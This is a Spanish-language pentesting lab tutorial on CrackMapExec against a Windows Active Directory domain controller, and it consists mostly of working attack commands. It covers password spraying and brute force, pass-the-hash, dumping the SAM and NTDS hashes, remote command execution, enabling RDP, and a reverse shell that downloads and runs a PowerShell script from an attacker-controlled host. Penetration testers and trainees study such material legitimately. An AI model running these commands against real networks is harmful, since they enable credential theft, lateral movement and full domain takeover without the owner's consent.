¿Que es CrackMapExec?
CrackMapExec (CME) es una herramienta de pentesting diseñada especificamente para realizar auditorias de seguridad en entornos Windows y Active Directory. Fue creada para facilitar la interaccion con varios protocolos y servicios de red comunes en redes corporativas: SMB, WinRM, RDP y LDAP.
Su proposito principal es automatizar tareas rutinarias de pruebas de penetracion y evaluacion de seguridad, permitiendo a los profesionales de ciberseguridad identificar rapidamente vulnerabilidades y configuraciones inseguras.
Laboratorio
kali.org/tools/crackmapexecUna vez identificada la IP del DC, comenzamos con una enumeracion basica para obtener informacion del objetivo sin necesidad de credenciales:
crackmapexec smb 14.14.1.34
| Campo | Descripcion e importancia |
|---|---|
| IP del servidor | Direccion IP del objetivo en la red. Permite ubicarlo para posteriores pruebas. |
| Hostname | Nombre del servidor (ej. DC1 suele indicar un Controlador de Dominio). Util para identificar su proposito. |
| Sistema operativo | Version de Windows. Ayuda a identificar vulnerabilidades especificas y exploits aplicables. |
| Dominio | Nombre del dominio Active Directory al que pertenece el servidor. |
| Firmas SMB | Enabled Evita ataques Man-in-the-Middle. Disabled Configuracion insegura explotable. |
| SMBv1 | Enabled Protocolo obsoleto y vulnerable a multiples ataques. Disabled Configuracion segura. |
La validacion de credenciales es uno de los usos mas comunes y potentes de CME. Permite comprobar si un conjunto de credenciales (usuario/contrasena) o hashes son validos en uno o mas sistemas de la red.
Credenciales erroneas
crackmapexec smb 14.14.1.34 -u 'CREDENCIAL' -p 'ERRONEO'
Resultado [-] en ROJO: las credenciales NO son validas.
Cuenta deshabilitada
crackmapexec smb 14.14.1.34 -u 'guest' -p ''
Resultado [-] en MORADO: la cuenta existe pero esta desactivada.
Credenciales validas
crackmapexec smb 14.14.1.34 -u 'xkate578' -p 'jesuschrist'
Resultado [+] en VERDE: credenciales validas, pero sin permisos de administrador.
Credenciales con permisos de administrador
crackmapexec smb 14.14.1.34 -u 'fbeth103' -p 'Pass1234!'
Resultado [+] (Pwn3d!): credenciales validas con altos privilegios sobre el sistema.
CME permite validar credenciales usando hashes NTLM directamente, sin necesidad de conocer la contrasena en texto claro.
crackmapexec smb 14.14.1.34 -u 'Administrator' -H '2176416a80e4f62804f101d3a55d6c93'
-H para pasar hashes NTLM en lugar de -p para contrasenas. El hash del Administrator devuelve (Pwn3d!) confirmando acceso administrativo completo sin la contrasena.# Para en la primera credencial valida encontrada crackmapexec smb 14.14.1.34 -u users.txt -p passwords.txt # Continua aunque encuentre credenciales validas crackmapexec smb 14.14.1.34 -u users.txt -p passwords.txt --continue-on-success
Variantes de bruteforce
# Usuario conocido + lista de contrasenas crackmapexec smb 14.14.1.34 -u 'xkate578' -p passwords.txt # Lista de usuarios + contrasena conocida (password spraying) crackmapexec smb 14.14.1.34 -u users.txt -p 'Pass1234!' # Usuario conocido + lista de hashes NTLM crackmapexec smb 14.14.1.34 -u 'Administrator' -H hashes.txt
--continue-on-success con cuidado y considera el password spraying (una sola contrasena contra muchos usuarios) para reducir el riesgo.# Usuario sin privilegios admin en AD crackmapexec winrm 14.14.1.34 -u 'xkate578' -p 'jesuschrist' # Usuario con acceso WinRM crackmapexec winrm 14.14.1.34 -u 'fbeth103' -p 'Pass1234!'
(Pwn3d!) significa que el usuario tiene permitida la conexion via WinRM, pero NO necesariamente tiene permisos de administrador sobre el AD. Con estas credenciales se puede conectar usando evil-winrm para obtener una shell remota interactiva.Permite obtener informacion clave sobre cuentas y roles en el entorno Windows. Ayuda a identificar usuarios validos, privilegios asignados y posibles objetivos para escalada de privilegios o movimiento lateral.
# Enumerar grupos del dominio crackmapexec smb 14.14.1.34 -u 'fbeth103' -p 'Pass1234!' --groups # Enumerar usuarios del dominio crackmapexec smb 14.14.1.34 -u 'fbeth103' -p 'Pass1234!' --users
# Politica de contrasenyas del dominio crackmapexec smb 14.14.1.34 -u 'fbeth103' -p 'Pass1234!' --passpol # Discos del servidor crackmapexec smb 14.14.1.34 -u 'fbeth103' -p 'Pass1234!' --disks # Equipos unidos al dominio crackmapexec smb 14.14.1.34 -u 'fbeth103' -p 'Pass1234!' --computers # Usuarios actualmente con sesion iniciada crackmapexec smb 14.14.1.34 -u 'fbeth103' -p 'Pass1234!' --loggedon-users
Permite extraer hashes de contrasenas, credenciales en texto claro y secretos almacenados en sistemas Windows. Requiere credenciales con los permisos necesarios.
# Dumping de la SAM (usuarios y hashes locales del servidor) crackmapexec smb 14.14.1.34 -u 'fbeth103' -p 'Pass1234!' --sam # Dumping del NTDS (TODOS los usuarios y hashes del dominio AD) crackmapexec smb 14.14.1.34 -u 'fbeth103' -p 'Pass1234!' --ntds
--sam: Vuelca los hashes NTLM de los usuarios locales del servidor (SAM database).
--ntds: Vuelca los hashes NTLM de todos los usuarios del dominio (Active Directory NTDS.dit). Con estos hashes puedes realizar Pass-the-Hash contra cualquier maquina del dominio.
Permite ejecutar instrucciones en sistemas Windows de forma no interactiva, aprovechando credenciales validas o configuraciones inseguras.
# Ejecutar comando CMD en el sistema remoto (-x) crackmapexec smb 14.14.1.34 -u 'fbeth103' -p 'Pass1234!' -x whoami # Ejecutar comando PowerShell en el sistema remoto (-X) crackmapexec smb 14.14.1.34 -u 'fbeth103' -p 'Pass1234!' -X 'Get-Process'
A traves de una reverse shell, se puede ejecutar comandos, explorar el sistema, obtener datos sensibles y moverse lateralmente. Es una de las formas mas efectivas de mantener el acceso y realizar post-explotacion.
# 1. Levantar servidor HTTP para servir el script PS1 sudo python3 -m http.server 80 # 2. Ponerse a la escucha en el puerto configurado en el rev.ps1 nc -lnvp 443 # 3. Ejecutar el payload via CME para descargar y ejecutar el script crackmapexec smb 14.14.1.34 -u 'fbeth103' -p 'Pass1234!' -x "powershell -NoP -NonI -W Hidden -Exec Bypass -Command "IEX(New-Object Net.WebClient).DownloadString('http://14.14.1.100/rev.ps1')""
rev.ps1 utilizado es del repositorio Nishang (github.com/samratashok/nishang), una coleccion de scripts y payloads PowerShell para pruebas de penetracion en Windows. Configura la IP del listener y el puerto antes de servirlo.CME permite habilitar y gestionar RDP en sistemas Windows de forma remota usando su sistema de modulos (-M).
# Habilitar RDP usando el modulo rdp con ACTION=enable crackmapexec smb 14.14.1.34 -u 'fbeth103' -p 'Pass1234!' -M rdp -o ACTION=enable
xfreerdp o rdesktop desde Kali Linux con las credenciales comprometidas para obtener acceso completo al escritorio remoto.Conclusion
CrackMapExec es una herramienta clave para la auditoria de redes Windows que integra en un solo framework todas las fases del ciclo de ataque: